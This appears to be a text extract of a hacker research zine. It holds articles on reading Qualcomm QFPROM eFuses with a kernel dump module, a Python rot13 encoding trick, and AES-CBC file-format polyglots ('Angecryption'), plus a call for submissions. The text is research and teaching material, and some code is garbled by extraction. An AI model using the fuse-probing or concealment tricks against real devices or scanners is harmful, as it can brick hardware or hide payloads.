0000_0130 83 ee 10 f3 a4 61 fc 83 c1 10 81 f9 90 01 72 da
0000_0140 07 61 e9 f1 fe 60 bf 30 00 be 2a 05 b9 10 00 ac
0000_0150 aa 47 aa 47 e2 f9 83 c7 60 81 ff a0 0f 72 ed 61
0000_0160 60 8a 44 01 b1 50 f6 e1 0f b6 3c d1 e7 83 c7 18
0000_0170 01 c7 d1 e7 b1 10 be 04 05 b4 0f 84 c9 74 16 fe
0000_0180 c9 ac 84 c0 26 0f 44 05 ab ab f6 c1 03 75 ec 81
0000_0190 c7 90 00 eb e6 61 e9 bf fe 08 05 c3 60 e8 35 00
0000_01a0 b1 10 84 c9 74 10 fe c9 ac ff d2 47 f6 c1 03 75
0000_01b0 f1 83 c7 0c eb ec 61 c3 60 f8 ba c2 7d e8 dc ff
0000_01c0 61 c3 3c db 75 0e 81 ff ba 06 73 04 3a 05 75 04
0000_01d0 83 c4 12 f9 c3 0f b6 44 01 c1 e0 04 0f b6 1c 8d
0000_01e0 78 06 01 c7 be 04 05 c3 00 0f 20 0e e0 02 60 06
0000_01f0 60 03 40 0e 30 06 53 68 4e 6f 58 67 53 6f 55 aa



This is a complete Tetris game.
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9 Defusing the Qualcomm Dragon
a short story of research by Josh “m0nk” Thomas



Earlier this year, Nathan Keltner and I started down the curious path of Qualcomm SoC security. The
boot chain in particular piqued my interest, and the lack of documentation doubled it. The following is a
portion of the results.7



Qualcomm internally utilizes a 16kB bank of one time programmable fuses, which they call QFPROM,
on the Snapdragon S4 Pro SoC (MSM8960) as well as the other related processors. These fuses, though
publicly undocumented, are purported to hold the bulk of inter-chip configuration settings as well as the
cryptographic keys to the device. Analysis of leaked documentation has shown that the fuses contain the
primary hardware keys used to verify the Secure Boot 3.0 process as well as the cryptographic information
used to secure Trust Zone and other security related functionality embedded in the chip. Furthermore, the
fuse bank controls hardwired security paths for Secure Boot functionality, including where on disk to acquire
the bootable images. The 16kB block of fuses also contains space for end user cryptographic key storage and
vendor specific configurations.



These one time programmable fuses are not intended to be directly accessed by the end user of the
device and in some cases, such as the basic cryptographic keys, the Android kernel itself is not allowed to
view the contents of the QFPROM block. These fuses and keys are documented to be hardware locked and
accessible only by very controlled paths. Preliminary research has shown that a previously unknown 4kB
subset of the 16kB block is mapped into the kernel IMEM at physical location 0x0070_0000. The fuses are
also documented to be shadowed at 0x0070_4000 in memory. Furthermore, there exists somewhat unused
source code from the Code Aurora project in the Android kernel that documents how to read and write to
the 4kB block of exposed fuses.



Aside from the Aurora code, many vendors have also created and publicly shared code to play with the
fuses. LG is the best of them, with a handy little kernel module that maps and explores LG specific bitflags.
In general, there is plenty of code available for a clever neighbor to learn the process.



The following are simple excerpts from my tool that should help you explore these fuses with a little
more granularity. Please note, and NOTE WELL, that writing eFuse or QFPROM values can and probably
will brick your device. Be careful!



One last interesting tidbit though, one that will hopefully entice the reader to do something nifty. SoC
and other hardware debugging is typically turned off with a blown fuse, but there exists a secondary fuse
that turns this functionality back on for RMA and similar requests. Also, these fuses hold the blueprint for
where and how Secure Boot 3.0 works as well as where the device should look for binary blobs to load during
setup phases.
//−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
// Before we can crawl , we must have appendages
//−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
stat ic int map_the_things (void ) {



uint32_t i ;
uint8_t stored_data_temp ;
//−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
// Stage 1: Hi t t ing the eFuse memory d i r e c t l y ( t h i s i s not supposed to work )
//−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
pr_info ( "m0nk␣−>␣and␣we␣run␣ un t i l ␣we␣ read : ␣%i ␣ l o v e l y ␣ bytes \n" , QFPROM_FUSE_BLOB_SIZE) ;



for ( i = 0 ; i < QFPROM_FUSE_BLOB_SIZE; i++) {
stored_data_temp = readb_relaxed ( (QFPROM_BASE_MAP_ADDRESS + i ) ) ;



i f ( ! stored_data_temp ) {
pr_info ( "m0nk␣−>␣ l o c a t i o n : ␣ , ␣byte ␣number : ␣%i , ␣has␣no␣ va l i d ␣ value \n" , i ) ;
base_fuse_map [ i ] = 0 ;



} else {
pr_info ( "\tm0nk␣−>␣ l o c a t i o n : ␣ , ␣byte ␣number : ␣%i , ␣has␣ value : ␣%x\n" ,



i , stored_data_temp ) ;
base_fuse_values [ i ] = stored_data_temp ;
base_fuse_map [ i ] = 1 ;



}



7Thanks Mudge!
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}



stored_data_temp = 0 ;



//−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
// Stage 2: Hi t t ing the eFuse shadow memory ( t h i s i s supposed to work )
//−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
// for ( i = 0; i < QFPROM_FUSE_BLOB_SIZE; i++) {
// stored_data_temp = readb_relaxed ((QFPROM_SHADOW_MAP_ADDRESS + i ) ) ;
// i f ( ! stored_data_temp ) {
// pr_info ("m0nk −> loca t ion : , byte number : %i , has no va l i d value\n" , i ) ;
// shadow_fuse_map [ i ] = 0;
// } e l s e {
// pr_info ("\tm0nk −> loca t ion : , byte number : %i , has value : %x\n" , i , stored_data_temp ) ;
// shadow_fuse_values [ i ] = stored_data_temp ;
// shadow_fuse_map [ i ] = 1;
// }
// }



return 0 ;
}



//−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
// Now we can crawl , and we do so b l i n d l y
//−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
stat ic int dump_the_things (void ) {



// This should ge t populated with code to dump the arrays to a f i l e for o f f l i n e use .
uint32_t i ;



pr_info ( "\n\nm0nk−>␣Known␣QF−PROM␣Direc t ␣Contents ! \ n" ) ;



for ( i = 0 ; i < QFPROM_FUSE_BLOB_SIZE; i++) {
i f ( base_fuse_map [ i ] == 1)



pr_info ( "m0nk␣−>␣ o f f s e t : ␣0x%x␣(% i ) , ␣has␣ value : ␣0x%x␣(% i )\n" ,
i , i , base_fuse_values [ i ] , base_fuse_values [ i ] ) ;



}



// pr_info ("\n\nm0nk−> Known QF−PROM Shadow Contents !\n") ;



// for ( i = 0; i < QFPROM_FUSE_BLOB_SIZE; i++) {
// i f (shadow_fuse_map [ i ] == 1)
// pr_info ("m0nk −> o f f s e t : 0%xx , has value : 0x%x (%i )\n" ,
// i , shadow_fuse_values [ i ] , shadow_fuse_values [ i ] ) ;
// }



return 0 ;
}



Writing a fuse is slightly more complex, but basically amounts to pushing a voltage to the eFuse for a
specified duration in order for the fuse to blow. This feature is included in my complete fuse introspection
tool, which will be available through Github soon.8



Have fun, break with caution and enjoy.



8https://github.com/monk-dot/DefusingTheDragon
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10 Tales of Python’s Encoding
by Frederik Braun



Many beginners of Python have suffered at the hand of the almighty SyntaxError. One of the less
frequently seen, yet still not uncommon instances is something like the following, which appears when
Unicode or other non-ASCII characters are used in a Python script.



SyntaxError: Non-ASCII character ... in ..., but no encoding declared;
see http://www.python.org/peps/pep-0263.html for details



The common solution to this error is to place this magic comment as the first or second line of your
Python script. This tells the interpreter that the script is written in UTF8, so that it can properly parse the
file.



# encoding: utf-8



I have stumbled upon the following hack many times, but I have yet to see a complete write-up in our
circles. It saddens me that I can’t correctly attribute this trick to a specific neighbor, as I have forgotten
who originally introduced me to this hackery. But hackery it is.



10.1 The background
Each October, the neighborly FluxFingers team hosts hack.lu’s CTF competition in Luxembourg. Just last
year, I created a tiny challenge for this CTF that consists of a single file called “packed” which was supposed
to contain some juicy data. As with every decent CTF task, it has been written up on a few blogs. To my
distress, none of those summaries contains the full solution.



The challenge was in identifying the hidden content of the file, of which there were three. Using the liberal
interpretation of the PDF format,9 one could place a document at the end of a Python script, enclosed in
multi-line string quotes.10



The Python script itself was surrounded by weird unprintable characters that make rendering in command
line tools like less or cat rather unenjoyable. What most people identified was an encoding hint.



00000a0: 0c0c 0c0c 0c0c 0c0c 2364 6973 6162 6c65 ........#disable
00000b0: 642d 656e 636f 6469 6e67 3a09 5f72 6f74 d-encoding:._rot
...
0000180: 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f ________________
0000190: 3133 037c 1716 0803 2010 1403 1e1b 1511 13.|.... .......



Despite the unprintables, the long range of underscores didn’t really fend off any serious adventurer. The
following content therefore had to be rot13 decoded. The rest of the challenge made up a typical crackme.
Hoping that the reader is entertained by a puzzle like this, the remaining parts of that crackme will be left
as an exercise.



The real trick was sadly never discovered by any participant of the CTF. The file itself was not a PDF that
contained a Python script, but a python script that contained a PDF. The whole file is actually executable
with your python interpreter!



Due to this hideous encoding hint, which is better known as a magic comment,11 the python interpreter
will fetch the codec’s name using a quite liberal regex to accept typical editor settings, such as “vim: set
fileencoding=foo” or “-*- coding: foo”. With this codec name, the interpreter will now import a python file
with the matching name12 and use it to modify the existing code on the fly.



9As seems to be mentioned in every PoC‖GTFO issue, the header doesn’t need to appear exactly at the file’s beginning, but
within the first 1,024 bytes.



10"""This is a multiline Python string.
It has three quotes."""



11See Python PEP 0263, Defining Python Source Code Encodings
12See /usr/lib/python2.7/encoding/__init__.py near line 99.
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10.2 The PoC
Recognizing that cevag is the Rot13 encoding of Python’s print command, it’s easy to test this strange
behavior.



% cat poc.py
#! /usr/bin/python
#encoding: rot13
cevag ’Hello World’
% ./poc.py
Hello World
%



10.3 Caveats
Sadly, this only works in Python versions 2.X, starting with 2.5. My current test with Python 3.3 yields first
an unknown encoding error (the “rot13” alias has sadly been removed, so that only “rot-13” and “rot_13”
could work). But Python 3 also distinguishes strings from bytearrays, which leads to type errors when
trying this PoC in general. Perhaps rot_13.py in the python distribution might itself be broken?



There are numerous other formats to be found in the encodings directory, such as ZIP, BZip2 and Base64,
but I’ve been unable to make them work. Most lead to padding and similar errors, but perhaps a clever
reader can make them work.



And with this, I close the chapter of Python encoding stories. TGSB!



36











11 A Binary Magic Trick, Angecryption
by Ange Albertini and Jean-Philippe Aumasson



This PDF file, the one that you are reading right now, contains a magic trick. If you encrypt it with AES
in CBC mode, it becomes a PNG image! This brief article will teach you how to perform this trick on your
own files, combining PDF, JPEG, and PNG files that gracefully saunter across cryptographic boundaries.



Given two arbitrary documents S (source) and T (target), we will create a first file F1 that gets rendered
the same as S and a second file F2 = AESK,IV (F1) that gets rendered the same as T by respective format
viewers. We’ll use the standard AES-128 algorithm in CBC mode, which is proven to be semantically secure13
when used with a random IV .



In other words, any file encrypted with AES-CBC should look like random garbage, that is, the encryption
process should destroy all structure of the original file. Like all good magicians, we will cheat a bit, but I
tell you three times that if you encrypt this PDF with an IV of 5B F0 15 E2 04 8C E3 D3 8C 3A 97 E7
8B 79 5B C1 and a key of “Manul Laphroaig!”, you will get a valid PNG file.



11.1 When the Format Payload can Start at Any Offset
First let’s pick a format for the file F2 that doesn’t require its payload to start right at offset 0. Such formats
include ZIP, Rar, 7z, etc. The principle is simple:



First we encrypt S, and get apparent garbage Enc(S). Then we create F2 by appending T to Enc(S), which
will be padded, and we decrypt the whole file to get F1. Thus F1 is S with apparent garbage appended, and
F2 is T with apparent garbage prepended.



This method will also work for short enough S and formats such as PDF that may begin within a certain
limited distance of offset 0, but not at arbitrary distance.



11.2 Formats Starting at Offset 0
We had it easy with formats that allowed some or any amount of garbage at the start of a file. However,
most formats mandate that their files being with a magic signature at offset 0. Therefore, to make the first
blocks of F1 and F2 meaningful both before and after encryption, we need some way to control AES output.
Specifically, we will abuse our ability to pick the Initialization Vector (IV) to control exactly what the first
block of F1 encrypts to.



In CBC mode, the first 16-byte ciphertext block C0 is computed from the first plaintext block P0 and
the 16-byte IV as



C0 = EncK(P0 ⊕ IV )



where K is the key and Enc is AES. Thus we have DecK(C0) = P0 ⊕ IV and we can solve for



IV = DecK(C0)⊕ P0



As a consequence, regardless of the actual key, we can easily choose an IV such that the first 16 bytes of
F1 encrypt to the first 16 bytes of F2, for any fixed values of those 2×16 bytes. The property is obviously
preserved when CBC chaining is used for the subsequent blocks, as the first block remains unchanged.



So now we have a direct AES encryption that will let us control the first 16 bytes of F2.
Now that we control the first block, we’re left with a new problem. This trick of choosing the IV to force



the encrypted contents of the first block won’t work for latter blocks, and they will be garbage beyond our
control.



13“IND-CPA” in cryptographers’ jargon.
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So how do we turn this garbage into valid content (that renders as T )? We don’t. Instead, we use the
contents of the first block to cause the parser to skip over the garbage blocks, until it lands at the ending
region which we control. This trick is similar to the one I used to combine a PDF and JPEG in Section 3,
and it’s a damned important trick to keep handy for other purposes.



Let’s take a look at some specific file formats and how to implement them with Angecryption.



11.2.1 Joint Photographic Experts Group



According to specification,14 JPEG files start with a signature FF D8 called “Start Of Image” (SOI) and
consist of chunks called segments. Segments are stored as



〈marker : 2〉〈variablesize(data+ 2) : 2〉〈data :?〉



In a typical JPEG file the SOI is followed by the APP0 segment that contains the JFIF signature, with
marker FF E0. The APP0 segment is usually 16 bytes.



So we need to insert a COMment segment (marker FF FE) right after the SOI. As we know the size of S
in advance, we can already determine the start of F2, and then the AES-CBC IV. T will then contain the
APP0 segment, and its usual JPEG content.



11.2.2 Portable Network Graphics



PNG files are similar to JPEGs, except that their chunks contain a checksum, and their size structure is four
bytes long.



A PNG file starts with the signature “\x89PNG\x0D\x0A\x1A\x0A” and is then structured in TLV chunks.



〈length(data) : 4〉〈chunktype : 4〉〈chunkdata :?〉〈crc(chunktype+ chunkdata) : 4〉



These are typically located right after the signature, where an IHDR (ImageHeaDeR) chunk usually starts.
For F2 to be valid, we need to start with a chunk that will cover the len(S)−16 garbage bytes of Enc(S).



We can give it any lowercase chunk type,15 and luckily, at the end of the chunk type, we’re right at the limit
of 16 bytes, so no brute forcing of the next encrypted block is required.



At that point of F2 the uncontrolled garbage portion may start. We then calculate its checksum, append
it, then resume with all the chunks coming from T . Our F2 is now composed of (1) a PNG signature, (2) a
single dummy chunk containing Enc(S), and (3) the T chunks that make up the meaningful image. This is
a valid PNG file.



11.2.3 Portable Document Format



PDF may include dummy objects of any length. However, we need a trick to make the signature and the
first object declaration fit in the first 16 bytes.



A PDF starts with “%PDF-1.5” signature. This signature has to be entirely within the first 1024 bytes
of the file, and everything after the signature must be a valid PDF file. Because the uncontrolled portion of
the file appears as a lot of garbage after the first block, it needs to be enclosed in a dummy stream object.



14JPEG File Interchange Format Version 1.02, Sept. 1, 1992
15If the first letter in the type field of a PNG block is lowercase, then that chunk will be ignored by the viewer, which



interprets it as a custom dummy block.
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Unfortunately, the PDF signature followed by a standard stream object declaration take up 30 bytes.
Choosing the IV only gives us 16 bytes to play with, so we must somehow compress the PDF header and
opening of a stream object into slightly more than half the space it would normally take.



Our trick will be to truncate both the signature and the object declaration by inserting null bytes
“%PDF-\0obj\0stream”. The signature is truncated by a null byte,16 and we also omit the object reference
and generation, and the object dictionary. Luckily, this reduced form takes exactly 16 bytes, and still works!



Now the uncontrolled remainder of Enc(S) will be ignored as a valid but unused stream object. We then
only need the start of T to close that object, and then T can be a valid PDF. So F2 is a valid PDF file,
showing T ’s content.



11.3 Conclusion
Provided that the format of our source file tolerates some appended garbage, and that the file itself is not
too big, we can encrypt it to a valid PNG, JPEG or PDF.



This same technique can work for other ciphers and file formats. Any block cipher will do, provided that
its standard block size is big enough to fit the target header and a dummy chunk start. This means we need
six bytes for JPEG, sixteen bytes for PDF and PNG.



An older cipher such as Triple-DES, which has blocks of eight bytes, can still be used to encrypt to JPEG.
ThreeFish, which can have a block size of 64 bytes, can even be used to encrypt a PE. The first block would
be large enough to fit the entire DOS_HEADER, which allows you to relocate the NT_Headers wherever you
like, up to 0x0FFF_FFFF.



So you could make a valid WAV file that, when encrypted with AES, gives you a valid PDF. That same
file, when encrypted with Triple-DES, gives you a JPEG. Furthermore, when decrypted with ThreeFish,
that file would give you a PE. You can also chain stages of encryption, as long as the size requirements are
taken care of.



16This part of the trick was learned from Tavis Ormandy.



39











12 A Call for PoC
by Rt. Revd. Dr.Pastor Manul Laphroaig



Howdy, neighbor! Is that a fresh new PoC you are hugging so close? Don’t stifle it, neighbor, it’s time
for it to see the world, and what better place to do it than from the pages of the famed International Journal
of PoC or GTFO? It will be in a merry company of other PoCs big and small, bit-level and byte-level, raw
binary or otherwise, C, Python, Assembly, hexdump or any other language. But wait, there’s more—our
editors will groom it for you, and dress it in the best Sunday clothes of proper church English. And when it
looks proudly back at you from these pages, in the company of its new friends, won’t that make you proud?
So set that little PoC free, neighbor, and let it come to me, pastor@phrack org!



12.1 PoC Contributions
Do this: Write an email telling our editors how to do reproduce *ONE* clever, technical trick from your
research.



Like an email, keep it short. Like an email, you should assume that we already know more than a bit
about hacking, and that we’ll be insulted or—WORSE!—that we’ll be bored if you include a long tutorial
where a quick reminder would do. Don’t try to make it thorough or broad.



Do pick one quick, clever low-level trick and explain it in a few pages. Teach me how to patch 81-column
support into CMD.EXE; teach me how to make a Turing-machine out of twigs and mud; or, teach me how
to make a randomized bingo card as a PDF that never renders the same way twice. Show me how to hide
steganographic messages with METAFONT so that a trained reader can pick out from the paper copy, or
how to decode downlink data from the Voyager spacecraft. Don’t tell me that it’s possible; rather, teach me
how to do it myself with the absolute minimum of formality and bullshit.



Like an email, we expect informal (or faux-biblical) language and hand-sketched diagrams. Write it in
a single sitting, and leave any editing for your poor preacherman to do over a bottle of scotch. Send this
to pastor@phrack.org and hope that the neighborly Phrack folks—praise be to them!—aren’t man-in-the-
middling our submission process.



You can expect PoC‖GTFO 0x04, our fifth release, to appear in print soon at a conference of good
neighbors. We’ve not yet decided whether to include crayons, but you can be damned sure that it’ll be a
good read.
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